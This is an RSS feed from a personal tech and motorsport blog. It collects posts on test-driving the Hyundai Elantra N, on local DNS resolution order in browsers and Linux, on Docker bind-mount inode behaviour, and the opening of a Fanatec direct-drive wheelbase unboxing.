Posts on Nova Kwok's Awesome Bloghttps://nova.moe/posts/Recent content in Posts on Nova Kwok's Awesome BlogHugo -- gohugo.iozh-cmnThis work is licensed under a Creative Commons Attribution-NonCommercial 4.0 International License.Sun, 25 Feb 2024 14:00:00 +0800免费的赛道体验?——天马赛车场/街道试驾现代 Elantra N 记录https://nova.moe/elantra-n/Sun, 25 Feb 2024 14:00:00 +0800https://nova.moe/elantra-n/从去年开始就可以看到教主在自己的节目中说到伊兰特 N 会被引入国内,从节目中可以看到车除了外观感觉有点见仁见智以外,圈速和性能还是很有竞争力的。

由于是个假 Honda man,我对伊兰特 N 的关注一直很少,单看教主的视频只会给到我一种「哦,这个车看上去不错,但是和中国市场有什么关系」的感觉,直到看到玩车日志的团队在发布会前猜测售价在 30W 以内才再一次开始关注这个车似乎真的要进入中国市场。

然后便是看到伊兰特 N 在上赛给第一批车主交车,非第一批车主可以选择直接板车到楼下交车,辛烷值学习,韩国 PDK 等等说法,此外还看到上海天马赛车场内开了一个被称为 N Lounge 的地方,便约上好朋友——FD2 车主天天一起去看看。

实际时间线如下:

  • T0:自驾到天马赛车场发现 N Lounge 当时赛道试驾只能线下预约,便预约了之后直接赶往上海虹桥天地进行街道试驾
  • T1:在 T0 + N 的某一天后 N Lounge 打电话说正好某天下午有两个名额,是否愿意前往
  • T2:和天天前往天马赛车场进行赛道试驾

N Lounge

场地外侧全部是上了苏 C 牌照的伊兰特 N,顺便可以看到画面中路边开了另一个出入口,在这个出入口进入的车辆完全不需要登记(或许意味着以后车就可以免费丢在天马?

歪标本田和本田

场地内的伊兰特 N 和伊兰特 N TCR

注:2023 CTCC 年度车手杯冠军:Hyundai N车队 曹宏炜

展厅内还有模拟器,模拟器内是神力科莎 + 新版天马地图(不过稍微魔改了一下场地内的 Logo) + 伊兰特 N TCR

街道试驾

N 的店面比较难找,据说也是上海唯一一个 N 的店,如果你订了 N 只会有两种交车方式:店面交车和板车到你家楼下交车

街道试驾的路线就有些无聊了,从虹桥天地出来开到某个高架底下,一条长直线开到头然后掉头又是一条长直线,期间路口似乎有测速拍照。

从街道试驾的体验来看,我最深的印象就是伊兰特 N 的后轴似乎 Wheel Rate 很高,即使在中控上调节到「舒适」模式在低速过减速带的时候也感觉很跳,这种跳的感觉很像同速度开 FD2 用 HKS Hipermax GT4 避震前 9K 弹簧过减速带的跳跃感,当然,对比之下坐在前排的时候就会感觉前轴温和的多,感觉 Wheel Rate 不会超过 6K 的样子。

此外另一个让我印象很深的就是他的 e-LSD,可能因为 FF 的汽油车只开过全开放差速器的 FK7,GTI 8/7.5,以及不带 ESP,带了托森机械差速器的 FD2,这类出弯动态总是一种安心的内侧轮原地打滑和推头。

而这一次开到了带 e-LSD 的伊兰特 N 之后我算是非常直观的感觉到了什么叫做出弯给油 LSD 会拽着车往弯中走。

至少我的主观感觉是这样的,且中控上「e-LSD」的两个选项切换之后体感差异明显。当然,这个也有可能是某些人吹的很多的一体式驱动桥,以及,这个体感前软后硬的避震搭配。

这次的体验让我多少有点种草 LSD 了,虽然机械式的锁止率不够和磨片式的保养问题,以及锁止率的调教(需要拆下 LSD)一直是阻碍我给 FK7 上 LSD 的原因。

在街道上开起来伊兰特 N 是个不错的车,如果要做一个小的总结的话,可以直接参考我当时发的 Twitter 的几个:

  1. 自带的座椅(所谓的高配款)很喜欢,内饰不油腻(油腻指新 330i 那种奇怪的红色内饰)
  2. 后轴比较跳,可调避震调节之后好像没啥体感差异
  3. 道路驾驶完全没有所谓韩国 PDK 的换档体验,注意,这里指的是「纯粹换档速度」,而不是「变速箱换档积极性」
  4. 有定速巡航/车道保持/主动紧急刹车但是不能车距保持(ACC)
  5. 没有 Carplay

这个座椅有多喜欢呢,试驾了伊兰特 N 之后我便高优先级把 FK7 上的原厂座椅换成了两个 Recaro SR7。

如果说伊兰特 N 能把外观做的更加好看(主观),且带上 ACC 的话,在这个价位内应该是很不错的一个选择。

赛道试驾

伊兰特 N 的赛道试驾应该是我见到过的厂商中最有”诚意“的赛道试驾,或者说是最舍得的赛道试驾,体现在如下方面:

  • 由于是早期,几乎是全新的伊兰特 N,总里程数不超过 2000KM
  • 专人维护的刹车片,PS4S 轮胎
  • 免费,且据现场的人说只要不是故意把车开上墙了不会要求赔偿车损(注:由于伊兰特 N 的试驾是使用的天马开放赛道日,所以理论上说会有其他车)
  • 职业车手在副驾指导

例行合同,可以作为参考

试驾当天是阴天,且 N Lounge 的安排比较宽松,当天下午那一个小时的场地场上只有三辆车,分别是:

  • 我和郑上观(教练,职业车手)的黑色伊兰特 N
  • 天天和刘文龙(教练,职业车手)的黑色伊兰特 N
  • 一辆奇怪 ASR 的原型车

试驾流程如下,整个试驾在一节(25 分钟)赛道日中:

  • 上场后由教练(职业车手)带着溜达 3 圈左右告知一下最晚刹车点
  • 回到 Pit 换成自己进行赛道驾驶
  • 快结束的时候换成职业车手做两个飞行圈
  • 回到 Pit 结束试驾

总体试驾体验可以用非常满意来形容,常年开 MT 的我几乎是第一次在赛道上开一个不需要手动换档的车,所以开起来也非常的顺滑和放得开。

由于上面讲到的这个车的弹簧设定,会让这个车开起来非常「平衡」——前轴比较软+LSD 可以有非常好的牵引力,后轴体感比较大的 Wheel Rate 可以让这个车开起来一改 FF 的推头的感觉,我开的时候车辆状态为 N 模式,ESP 半关。

这种「平衡」的感觉就是——如果之前你有开一个比较推头推头且没有啥 LSD 加持的前驱车(比如 FK7 ),那么以日常的驾驶习惯容易把后轴给甩起来。

上场后由于胎温还没热起来,T7 带住了点刹车入弯来了个大角度滑移

然后在之后的某一圈的 T9 由于压了点水带住了刹车进弯,又来了反打

由于在公开道路上我也经常把 FK7 开出这种动态,所以这里的反打+给油救车基本就是肌肉记忆

变速箱方面,个人感觉倒是完全没有车评人所谓的「韩国 PDK」的感觉,从纯粹(绝对)降档速度而言,体感和 GTI 级别的车差不多,但是赛道驾驶从降档积极性而言,那确实是完全没问题,可能因为不敢全力 push,我自己的赛道驾驶下来拨片使用率 0%。

郑上观 T12 故意压水后的大角度滑移

由于试驾规定不能架设 GoPro 等计时设备,估计是怕其他人把这个「赛道体验」试驾变成了「免费练车场地」,但还是非常感谢郑上观帮我一直手持 GoPro 拍摄,利用 GoPro 自带的 10Hz GPS + Racechrono 我可以看到我自己在场地上的成绩。

我们放几个参考圈速,仅限天马赛车场:

单纯看圈速的话,落地价 29W 的伊兰特 N 可以比 33W 落地的 BRZ 上限高接近 4s,然后花了 4W 改装,总价格 20W 的 FK7 又似乎可以和 BRZ 全原厂状态差不多。

当然,一个 FF 高性能轿车,一个 FR 跑车本身也不能单从圈速来进行衡量,这两个车驾驶体验天差地别。

做一个小的总结就是:非常感谢现代能带来这么一款车且还能包下天马的一块区域,且给大家在赛道上试驾他们的新车,也感觉很幸运自己正好在上海且还有个热爱驾驶的好朋友天天能和我一起去体验。

同时我也在思考,在国内赛事投入更多的东风本田有没有可能在未来某一天也在天马包下一块区域让大家来体验 Type-R 的赛道驾驶呢?或者说现代的这个活动是否真的可以给他们带来销量的增加么?如果他们发现这个活动本身也只是他们的一厢情愿,消费者并不为此买帐的话,他们又会如何看待自己在国内的这些投入?

从国内赛事的观众数量(即使是 CTCC)和大家关注的情况来看,在国内的赛车文化确实不浓,和教练交流下来也有类似的体验,如果在国内想要跑比赛基本都是自费,那要培养一个职业车手从小开始就是一场赌博,从卡丁车到初级方程式,每年至少会投入 50W 人民币,赌赢了,成为知名冠军车手获得丰厚收入,赌输了…后果大家也能看得到。

近些年来大家对「赛车文化」的关注可能主要来源于一些车手开启了自己的自媒体,例如从谢欣哲的角度来看,可能自媒体反而可以带来更高的收入,也侧面反应了国内赛车文化的状态。

最近看到一个知乎回答感觉挺有意思,也认同他的部分观点( https://www.zhihu.com/question/643036972/answer/3389200905),部分摘录如下:

调教是最花时间和成本的,只不过大家没有概念而已。如果说搞一套底盘,物料50块钱。调教要花掉50甚至更多。之所以国际大厂调教信手拈来,那是因为别人有几十年的积累。

30万级别必须全铝悬挂,空气弹簧,CDC,这就是无效加班,因为这些东西加起来实际体验还不如国际大厂一套麦弗逊,螺旋弹簧减震加油改电底盘调教出的产品。不是说否定加班的无用,而是否定无用的加班。不是否定材料升级的合理性而是否定不合理的材料堆砌。

当别人晚上十点路过你们公司楼下看到整层灯火通明,就好比你看现在的新能源造车,梦幻般的配置和价格。你们都会感叹句,想必整个行业非常繁荣兴旺吧。只有正在苦逼无效加班,被强制裹挟着消耗生命的你知道。其实公司在走下坡路。因为你知道问题一直都在。现在只不过是愈演愈烈而已。

也许未来某一天,主流的国人购车思路和评价指标可以从

「车大(偏好 SUV),堆料(所谓的智能驾驶 X 个传感器,OTA,车内冰箱空调),过分追求车内精致(Nappa 皮,xx 音箱)」

转变为

「车辆操控好,避震调教和 ESP 标定合理且不突兀,且有更加多多元的车辆购买偏好」

呢?

或者,可能这只是一个幻想?

Never just drive!

]]>
重新思考浏览器输入了 URL 并按下回车之后到底发生了什么——本地 DNS 部分https://nova.moe/rethink-type-url-dns/Mon, 08 Jan 2024 21:00:00 +0800https://nova.moe/rethink-type-url-dns/作为一个没有去过大厂的不怎么会写代码的萌新,我总是认为面试的过程是一个验证对方水平以及互相探讨问题并以此来确认对方学习能力的过程,而非一个应试或者考试的过程,至少对于一些正常岗位而言是这样。

而所谓的”笔试“和你问我答的面试感觉只应该出现需要低成本大规模筛选面试者(比如校招)或者某些奇怪的外包公司(比如 *为 的外包或者一些银行等国企的开发岗位似乎特别喜欢搞这种奇怪的”笔试“,牛客网为此提供了平台可谓“功不可没”)。

作为喜欢背八股文面试题的朋友肯定不陌生,有个非常”经典“的面试题叫做「输入 URL 到页面展示到底发生了什么」,你看,随便搜索一下就能看到这种文章:

他们占据了 Google 搜索的前列,也非常符合喜欢背题的人快速“预习”需求:

我们来看看这个「看完吊打面试官」的文章,部分内容如下:

1、请求一旦发起,浏览器首先要做的事情就是解析这个域名,一般来说,浏览器会首先查看本地硬盘的 hosts 文件,看看其中有没有和这个域名对应的规则,如果有的话就直接使用 hosts 文件里面的 ip 地址。

2、如果在本地的 hosts 文件没有能够找到对应的 ip 地址,浏览器会发出一个 DNS请求到本地DNS服务器 。本地DNS服务器一般都是你的网络接入服务器商提供,比如中国电信,中国移动。

3、查询你输入的网址的DNS请求到达本地DNS服务器之后,本地DNS服务器会首先查询它的缓存记录,如果缓存中有此条记录,就可以直接返回结果,此过程是递归的方式进行查询。如果没有,本地DNS服务器还要向DNS根服务器进行查询。

作为一个没有接触过 DNS 的萌新,在遇到面试官问道这个问题,可能面试官在说「能不能解释一下浏览器输入了…」的时候你已经飞快的通过大脑的 KV 存储,想到已经该如何输出背下来的结论了,等面试官话音刚落,你变开始了流式输出:「浏览器输出了 URL 按下回车之后首先浏览器会通过查询本地的 hosts 文件,然后 hosts 文件中没有发现记录,就请求 DNS 服务器,然后一级级往上查询直到根 DNS 服务器…」

这个问题我觉得本身是个比较有意思的问题,因为可以考察面试者对于整个流程的了解程度,但是通过这样背诵而来的回答这样真的能「看完吊打面试官」么?

要知道我们电脑,浏览器的发展日新月异,但是这个问题作为一个「经典面试题」似乎从来都是上面的回答,如果作为面试官,听到这样的回答之后会不会第一反应想到几个问题,也是本文想要讨论的点,如下:

  • 现代的浏览器本身会不会缓存 DNS 记录?
  • 浏览器有权限直接去读 hosts 文件么?
  • 浏览器是怎么发出的 DNS 请求?(这个时候请别回答是发出的 UDP 请求)
  • Hosts 文件之后就直接是外部 DNS 服务器了么?

由于我不卖课,也不推广一些什么(也许是)自己写的「Java 精品合集」,如果读者对上面讨论的问题感兴趣,不妨在这里停留一下并思考一下上面我提出的问题,或者想想看这里面还有没有别的点其实也是可能和目前的结构不一样的。

为了帮助大家在此停顿,我在这里插播一个图片~

现代的浏览器本身会不会缓存 DNS 记录?

我们先来说说第一个问题——现代的浏览器本身会不会缓存 DNS 记录?

答案是会的,以 Chrome 为例,我们需要先:

  1. 打开 chrome://net-export/ 然后开始录制一段时间的记录
  2. 打开 https://netlog-viewer.appspot.com/ 并上传刚刚的记录

本来这个操作可以在 chrome://net-internals/#dns 一步完成的,不知道为啥 Chrome 搞成了上面两步,还引入了一个外部网站

从上面的截图我们可以观测到两个信息:

  1. Chrome 浏览器本身缓存了 DNS 的请求,叫做 Host resolver cache
  2. 这个缓存最大只能缓存 1000 条记录

这个缓存在 Chrome 的官方文档中被称为 built-in resolver 或者 async resolver, 它的文档可以在 Chrome Host Resolution 这里看到,当满足以下所有触发条件的时候便会使用:

  • DnsClient 已通过 net::HostResolverManager::SetInsecureDnsClientEnabled(true) 启用不安全请求,或安全 DNS 模式不是 net::SecureDnsMode::OFF
  • 系统 DNS 配置已成功确定。
  • 请求主机名不以 “.local” 结尾。
  • 该请求不是带有 HOST_RESOLVER_CANONNAME 标志的地址查询。

以上内容为 ChatGPT 翻译

至于为什么这个缓存最大是缓存 1000 条记录,我们只能读一下代码了,在 https://chromium.googlesource.com/chromium/src/+/main/net/dns/host_cache.cc#1185 这里我们可以看到如下定义:

// static
std::unique_ptr<HostCache> HostCache::CreateDefaultCache() {
#if defined(ENABLE_BUILT_IN_DNS)
  const size_t kDefaultMaxEntries = 1000;
#else
  const size_t kDefaultMaxEntries = 100;
#endif
  return std::make_unique<HostCache>(kDefaultMaxEntries);
}

对于这个开关 ENABLE_BUILT_IN_DNS 相关的代码可以在这里看到:

// Enables or disables the built-in asynchronous DnsClient. If enabled, by
// default (when no |ResolveHostParameters::source| is specified), the
// DnsClient will be used for resolves and, in case of failure, resolution
// will fallback to the system resolver (in tests, HostResolverProc from
// HostResolverSystemTask::Params). If the DnsClient is not pre-configured
// with a valid DnsConfig, a new config is fetched from NetworkChangeNotifier.
//
// Setting to |true| has no effect if |ENABLE_BUILT_IN_DNS| not defined.
virtual void SetInsecureDnsClientEnabled(bool enabled,
                                          bool additional_dns_types_enabled);

不过至于为什么 kDefaultMaxEntries 这里定义为了 1000 ,目前我还没找到对应的出处。

浏览器是怎么发出的 DNS 请求

你认为浏览器可以直接读取系统的 hosts 文件来使用么?当然不是,我们继续看 Chrome 的文档:

Usually called the “system resolver” or sometimes the “proc resolver” (because it was historically always implemented using net::HostResolverProc). Results are queried from the system or OS using the getaddrinfo() OS API call. This source is only capable of address (A and AAAA) resolves but will also query for canonname info if the request includes the HOST_RESOLVER_CANONNAME flag. The system will query from its own internal cache, HOSTS files, DNS, and sometimes mDNS, depending on the capabilities of the system.

可以知道操作系统提供了一个叫做 getaddrinfo() 的系统 API 供浏览器使用,所以浏览器需要发送一个 DNS 请求也只是和这个接口交互而已,浏览器本身不会自己发送任何奇怪的请求甚至直接读取一个系统文件。

DNS 请求顺序

但是这里其实有个问题,一般来说根据常规的「面试题面经」我们知道 DNS 请求顺序是:hosts 文件(未命中) -> DHCP 下发的称为本地 DNS 服务器(未命中) -> 上游 DNS 服务器(未命中) -> 根 DNS 服务器。

但是在现代电脑中一般有这么个东西,比如 systemd-resolved

为什么我会关注到这个呢,因为它在我电脑上最近启动不太正常。

我们看 systemd-resolved - ArchWiki 可以知道它是一个 systemd 提供的服务,会监听在 D-Bus 和 127.0.0.53 上对系统上的应用提供服务,且对于 systemd 的系统来说是默认安装并启用的:

systemd-resolved is a systemd service that provides network name resolution to local applications via a D-Bus interface, the resolve NSS service (nss-resolve(8)), and a local DNS stub listener on 127.0.0.53. See systemd-resolved(8) for the usage.

systemd-resolved is a part of the systemd package that is installed by default.

举个例子,虽然我电脑所处的 DHCP 环境下下发的是 192.168.33.501.1.1.1 这两个 DNS 服务器:

nmcli device show wlp3s0 | grep IP4

IP4.ADDRESS[1]:                         192.168.33.242/24
IP4.GATEWAY:                            192.168.33.50
IP4.ROUTE[1]:                           dst = 192.168.33.0/24, nh = 0.0.0.0, mt = 600
IP4.ROUTE[2]:                           dst = 0.0.0.0/0, nh = 192.168.33.50, mt = 600
IP4.DNS[1]:                             192.168.33.50
IP4.DNS[2]:                             1.1.1.1

但是我们实际用 dig 发起请求,或者看 /etc/resolv.conf 就会发现其实是 127.0.0.53:

nameserver 127.0.0.53
options edns0 trust-ad
search .

dig 请求结果如下:

 dig docs.pingcap.com

...

;; ANSWER SECTION:
docs.pingcap.com.	34	IN	A	106.75.96.118 [北京市 优刻得信息科技有限公司 (UCloud) BGP 数据中心]

;; Query time: 20 msec
;; SERVER: 127.0.0.53 [局域网 IP]#53(127.0.0.53 [局域网 IP]) (UDP)
...

Windows 和 Mac 上也有类似的机制,分别叫做 DNS Client Service (DNSCache) 和 mDNSResponder

也就是说在相对比较现代的电脑上,我们应用中的 DNS 请求也并没有直接发送到系统获得的 DNS 服务器上,而是发到了另一个系统级别的缓存中了。

所以到这里,我们可以修正一下上面的回答,实际的请求顺序是:浏览器 DNS 缓存(未命中) -> 浏览器调用 getaddrinfo() 查询数据,其中,getaddrinfo() 的查询背后有多个缓存,顺序如下文所述。

getaddrinfo() 是按照什么顺序查询的

由于上面有 systemd-resolved 的存在,我们就有点疑惑了,那这个 getaddrinfo() 函数又是根据什么顺序来查询的 DNS 呢?

我们从 What does getaddrinfo do? 文章中可以知道 getaddrinfo() 在 Linux 系统上会阅读 /etc/nsswitch.conf 来决定查询顺序,比如在我的电脑上这个文件中的关键信息是:

# In order of likelihood of use to accelerate lookup.
passwd:     files sss systemd
shadow:     files
group:      files sss systemd
hosts:      files myhostname mdns4_minimal [NOTFOUND=return] resolve [!UNAVAIL=return] dns
services:   files sss
netgroup:   files sss
automount:  files sss

从 hosts 行可以看到顺序是 files myhostname mdns4_minimal [NOTFOUND=return] resolve [!UNAVAIL=return] dns,翻译一下就是:

  • files: 尝试在 /etc/hosts 文件中查找主机信息。
  • myhostname: 尝试通过系统的主机名服务来解析主机名。
  • mdns4_minimal: 尝试通过 mDNS(Multicast DNS)来解析主机名。
  • [NOTFOUND=return]: 如果前面的查找未找到主机信息,立即返回而不进行后续查找。
  • resolve: 尝试通过 systemd 的解析服务来解析主机名。
  • [!UNAVAIL=return]: 如果 systemd 解析服务不可用,立即返回而不进行后续查找。
  • dns: 最后尝试通过传统的 DNS 解析服务来解析主机名。

到这里,我们可以进一步获得更加清晰的结论,以我的电脑默认配置为例,实际的 DNS 查询顺序是:

  1. 浏览器 DNS 缓存
  2. 浏览器调用 getaddrinfo() 查询数据,其中 getaddrinfo() 会根据如下顺序查询
    1. 先看 /etc/hosts 文件
    2. 通过主机名服务/mDNS 查询
    3. 通过 systemd-resolved 查询
    4. 最后通过 DHCP 下发的 DNS 查询

在 Windows 系统上,这个 nssswitch 的功能被一个称为 Name Resolution Policy Table 的东西替代,可以参考文档 The NRPT | Microsoft Learn

如果最后一步通过 DHCP 下发的 DNS 查询也没有查到结果的话,那么就是由那个 DNS 服务器负责向自己的上游查询记录,也就是所谓的递归查询,并返回查询结果了。

你看,「输入 URL 到页面展示到底发生了什么」确实是一系列有趣提问的开端,我们其实只要稍微思考一下就会发现内部有许多我们想不到的细节,面试官可以通过一步步引导面试者并提出相关的问题来判断面试者对于这一系列问题的思考究竟是背诵的答案还是有自己独特的理解。

当然,由于这个问题过于常见,个人感觉作为面试官而言如果不是对此有非常深入的研究的话或许还是换个角度切入比较友好,减少双方背题/答案的时间,增加面试的乐趣(也许),比如——「在你目前面试所用的电脑的环境下,你浏览器上输入了 google.com 之后 DNS 请求是发往了哪个地址?」以及「如果那个地址没有返回正确的 IP 的话,一般如何解决?」。

References

  1. Chrome Host Resolution
  2. What does getaddrinfo do?
  3. Disable DNS Cache on macOS | Apple Developer Forums
  4. The NRPT | Microsoft Learn
]]>
为什么在容器外修改了文件后容器内的文件没有同步更新?——一次 Docker 文件挂载和 Bind mount 的探索https://nova.moe/compose-file-mount/Tue, 02 Jan 2024 08:00:00 +0800https://nova.moe/compose-file-mount/这是 2024 年的第一篇文章,由于今年似乎大家铺天盖地地发布「2023 年终总结/记录/Wrapped」,考虑到所谓的新年无非是我们在 UTC +8 的一个日期的变化,并不会因为「到了新的一年」而「就能做出 xx 改变」,我决定不以此对过去的一年进行公开总结,而是按照日常的计划持续推进。

此时有个小问题可以让读者思考:我们知道 UTC 是大家公认的零时区,往左右各 + 12 个时区,比如中国在 UTC+8,那 +12 再往东就是 -12 了,也就是说在那个边界上大家的时间是差了接近两天?

Scenario

言归正传,我们从一个实际的场景开始这次文章的探索,在一个服务需求中,我们有两个单独的服务:

  • 一个服务被称为索引器,会定期从外部索引数据并保存到本地的一个 SQLite 数据库中,数据库的名字叫做 tx.db,这个服务是一个单一的 Binary ,通过 crontab 每分钟定时运行
  • 另一个服务是一个 Web 服务,它会连接到上面那个数据库中,并将数据库中的数据组合后输出,这个服务是容器化运行的

Web 服务容器的 docker-compose.yml 文件内容如下:

version: '3'

services:
  indexer_api:
    image: ghcr.io/n0vad3v/indexer_api:latest
    restart: always
    volumes:
      - ./tx.db:/tx.db

此时我们引出四个问题:

  1. 如果外面的索引器更新了这个数据库文件,容器内的 Web 服务是否可以同步获取到最新数据?
  2. 有一个需求需要清空整个数据库文件并且将本地的一个版本(一个完整的 tx.db 文件)给同步到服务器上
    1. 如果我们在服务器上把 tx.db 删了,然后 rsync 一个 tx.db 上去,那么此时容器内的 Web 服务是否可以同步获取到最新数据?
    2. 如果我们不删服务器上的 tx.db 文件而是只是 rsync,此时容器内的 Web 服务是否可以同步获取到最新数据?
  3. 如果我不是直接把 tx.db 作为 volume,而是把这个文件放到一个叫 data 的目录里面,然后把这个目录挂载到容器里面,此时容器内的 Web 服务是否可以在 /data/tx.db 下同步获取到最新数据?

以上操作均不重启容器

此时请读者思考一下,不要急着向下翻,然后我在这里塞个图作为分割线~

Test

我们来试试看,为了方便观测,我们额外在容器的 volumes: 下加入一个 - ./1.txt:/1.txt 的文本文件,内容是 1 ,容器启动后我们在外部将 1.txt 的文件内容改为 2 ,可以看到容器内是同步的。

# cat 1.txt
1
# cat 1.txt
2

此时我们将外面的 1.txt 文件删除,会发现容器内这个文件还在,并且内容还是 2。

我们在外面重新创建一个 1.txt 并将文件内容改为 3,会发现容器内查看文件内容依然是 2。

对于目录而言,我们在 data 目录下放了若干个文件,然后在容器外对文件进行修改,删除,重新创建,发现在容器内的 /data 目录下,这些文件的操作是同步的。

所以便回答了上面三个问题,分别是:

  1. 不能
  2. 不能

但是为什么?

Inode

我们第一反应可以想到 Inode 的变化,以文件为例,测试中我们发现在测试开始前和修改文件内容时,容器内外的 Inode 保持一致:

容器内:

# ls -li 1.txt
8949736 -rw-r--r--. 1 1000 1000 2 Jan  1 07:51 1.txt

容器外:

ls -li 1.txt 
8949736 -rw-r--r--. 1 nova nova 2 Jan  1 15:51 1.txt

但是一旦文件被删除重建或者被 rsync 覆盖了之后, 容器外的 Inode 就变了,变成:

ls -li 1.txt 
8949625 -rw-r--r--. 1 nova nova 2 Jan  1 15:54 1.txt

而此时容器内还是保持原有的 Inode 的信息,所以这里我们的猜想就缩小到了:为什么 Inode 变了之后容器内就不能同步更新了?

对于目录而言,data 目录内部文件的变更没有导致这个目录本身 Inode 的变化,所以容器内外目录内部的文件一直是保持同步的。

通过搜索我们看到这么个帖子: File mount does not update with changes from host · Issue #15793 · moby/moby · GitHub ,其中 cpuguy83 的解释如下:

If you are using some editor like vim, when you save the file it does not save the file directly, rather it creates a new file and copies it into place. This breaks the bind-mount, which is based on inode. Since saving the file effectively changes the inode, changes will not propagate into the container. When the container is restarted the new inode. If you edit the file in place you should see changes propagate.

This is a known limitation of file-mounts and is not fixable.

所以我们了解了由于我们使用 -v 来挂载文件,这个时候使用到的是 Docker 的 Bind mount (Bind mounts | Docker Docs)。

而这是 Bind Mount 的特性,只有在 Inode 是一样的情况下才会在两边同步文件的修改,一旦 Inode 变了,那这里的同步关系就消失了,这也解释了为什么删除文件之后重建的文件是不能反应到容器内部的修改的。

如果在容器外的某个文件被修改且更换了 Inode ,那么就需要重启容器来重新建立这个绑定关系了。

Bind mount

关于 Bind mount 的 man 说明如下:

Bind mount operation
    Remount part of the file hierarchy somewhere else. The call is:

      mount --bind olddir newdir

    or by using this fstab entry:

      /olddir /newdir none bind

    After this call the same contents are accessible in two places.

    It is important to understand that "bind" does not create any
    second-class or special node in the kernel VFS. The "bind" is
    just another operation to attach a filesystem. There is nowhere
    stored information that the filesystem has been attached by a
    "bind" operation. The olddir and newdir are independent and the
    olddir may be unmounted.

可以简单理解为将一个目录(或者文件) mount 到另一个目录(或者文件)下(而不是传统意义上的将一个块设备 mount 到一个目录下),其中文件的部分有点类似硬链接, 不过区别是硬链接是个文件系统的实现,而 bind mount 是个操作系统内核级别的操作,且硬链接不支持目录到目录的连接,可以参考 12.04 - Why are hard links not allowed for directories? - Ask Ubuntu

P.S,说到硬链接就想到了一些奇怪的公司的 PTSD 面试题,叫做「硬链接和软链接的区别」,回顾一下可以发现硬链接其实很像 Bind mount ,因为两个「文件」是共享的 Inode.

然后随便搜到个文章 面试 | Linux 下软链接和硬链接的区别 - 知乎 发现还是我自己写的,就更加 PTSD 了 😅

Big File

说起 Inode 我们可以知道,在硬链接中多个文件是共享了同一个 Inode,同时我们知道以下信息:

  • Unix/Linux系统内部不使用文件名,而使用inode号码来识别文件
  • Inode信息中有一项叫做"链接数",记录指向该inode的文件名总数,这时就会增加1,反过来,删除一个文件名,就会使得inode节点中的"链接数"减1。当这个值减到0,表明没有文件名指向这个inode,系统就会回收这个inode号码,以及其所对应block区域。

以上来源: 理解inode - 阮一峰的网络日志

那我们设想这么个场景,假设我们的容器需要把日志写到一个外部文件中,比如和上文一样还是叫做 tx.db,也是通过 Bind mount 的方式实现,这个时候我们发现这个文件已经写了 10G+ 了,我们的机器上已经快没有空间了,这个时候我们在系统上想丢掉这个日志应该怎么做?

  • > tx.db 把日志变成空文件?
  • rm -f tx.db 删掉日志文件

有了前文的铺垫这个时候读者肯定可以容易明白,第一种方式是可行的,而第二种方式在容器外删除了文件之后由于只有容器内占用了对应的文件的 Inode,外面系统看不到这个文件(没有 Inode),但是由于 Inode 依然被容器占有,所以通过 df -h 等工具会发现系统可用空间是一点都没变少,这个时候如果想通过 docker cp 的方式恢复文件都不可行:

docker cp 83764c055df5:/tx.db ./
Error response from daemon: mount /home/nova/indexer_api/tx.db:/var/lib/docker/overlay2/26b9ab72d273a7f905308b285a88a9a4d45c3943cbb4f029a33afa03efffa344/merged/tx.db, flags: 0x5000: not a directory

而且在容器内也删不掉了:

# rm -f tx.db
rm: cannot remove 'tx.db': Device or resource busy

顺便,如果我们去 /var/lib/docker/overlay2/26b9ab72d273a7f905308b285a88a9a4d45c3943cbb4f029a33afa03efffa344/merged 这个目录下观察的话:

total 10192
-rwxr-xr-x.  1 root root        0 Jan  2 09:36 1.bin
-rwxr-xr-x.  1 root root        0 Jan  2 09:36 1.txt
lrwxrwxrwx.  1 root root        7 Dec 18 08:00 bin -> usr/bin
...
drwxr-xr-x.  1 root root     4096 Jan  2 09:36 etc
drwxr-xr-x.  2 root root     4096 Dec 10 05:08 home
...
-rwxr-xr-x.  1 root root        0 Jan  2 09:36 tx.db

会发现其实 bind mount 进去的文件体积都是 0 (比如 1.bin1.txttx.db),这个时候如果要「释放」真正的空间的话一般只能通过重启容器来处理了。

有兴趣的读者可以继续思考一下在这种情况下我们如何把这个文件拿出来(恢复)。

以上,便是这 2024 年博客的第一篇文章我们探索的问题啦,不知道通过对这个问题的探索你是否有学到了一些奇怪的知识呢?

新年快乐!

References

  1. File mount does not update with changes from host · Issue #15793 · moby/moby · GitHub
  2. 理解inode - 阮一峰的网络日志
  3. 12.04 - Why are hard links not allowed for directories? - Ask Ubuntu
  4. https://man7.org/linux/man-pages/man8/mount.8.html
]]>
From Gear-Driven to Direct Drive: Unboxing the Fanatec DD Pro Wheelbase Kithttps://nova.moe/fanatec-dd-pro-en/Mon, 06 Nov 2023 10:00:00 +0800https://nova.moe/fanatec-dd-pro-en/

If everything seems under control, you’re just not going fast enough.

I purchased my Logitech G29 racing wheel set in March 2020, and now it’s been almost 4 years. It has been working stably, except for a warranty replacement due to a motherboard failure. During this time, I recommended the wheel set to a friend who became a keyboard racer. After experiencing @lxthunter’s T300 belt-driven wheel and feeling the more precise road feedback, I began to consider upgrading my own racing wheel.

Recently, I revisited the prices of the G29 and T300 wheel sets and found that they were only around 600 CNY apart. If someone were to ask me today for a recommendation for a racing wheel to play sim racing games like Assetto Corsa Competizione and Assetto Corsa, I would strongly discourage them from choosing a G29-like gear-driven wheel (though I must say that budget gear-driven wheels are still a viable option for newcomers who are unsure about their interest in sim racing).

Fanatec

Due to my frequent play of Assetto Corsa Competizione, the game features a lot of Fanatec advertising, including the M4 GT3 car (which is indeed closely associated with Fanatec, and Fanatec manufactures the steering wheel) and electronic screens at the racetracks.

My initial introduction to Fanatec was through their Clubsport V3 Pedals. I remember reading reviews that mentioned these pedals could provide a realistic feel of ABS braking. However, the price of the pedals, which was over 3000 CNY, seemed quite expensive to me at the time (I had just graduated and had recently started working at PingCAP).

I gradually learned about the differences between gear-driven, belt-driven, and direct-drive wheels, and after comparing the Hall sensors, position sensors, and pressure sensors on the pedals, I decided that my next set of sim racing equipment had to include a direct-drive wheel.

I originally wanted to find a store where I could test it, but after searching, I found that in Shanghai, the only place with a direct-drive setup was on the G-force rig on the second floor of Hipole. When I went there, I was a bit socially anxious, and the pricing was based on hourly rates, so it was not cheap, and I missed the only opportunity to try out a direct-drive wheel.

So, I had no choice but to buy one directly. Here, it’s worth noting that some users had reported compatibility issues with direct-drive wheels in China. Therefore, I decided to purchase Fanatec’s complete set of equipment, which includes:

  • Gran Turismo DD Pro Wheel Base (8 Nm)
  • ClubSport Steering Wheel Formula V2.5
  • ClubSport Pedals V3
  • Boost Kit 180 (8Nm)
  • Reusing my existing Next Level Racing F-GT Lite rig

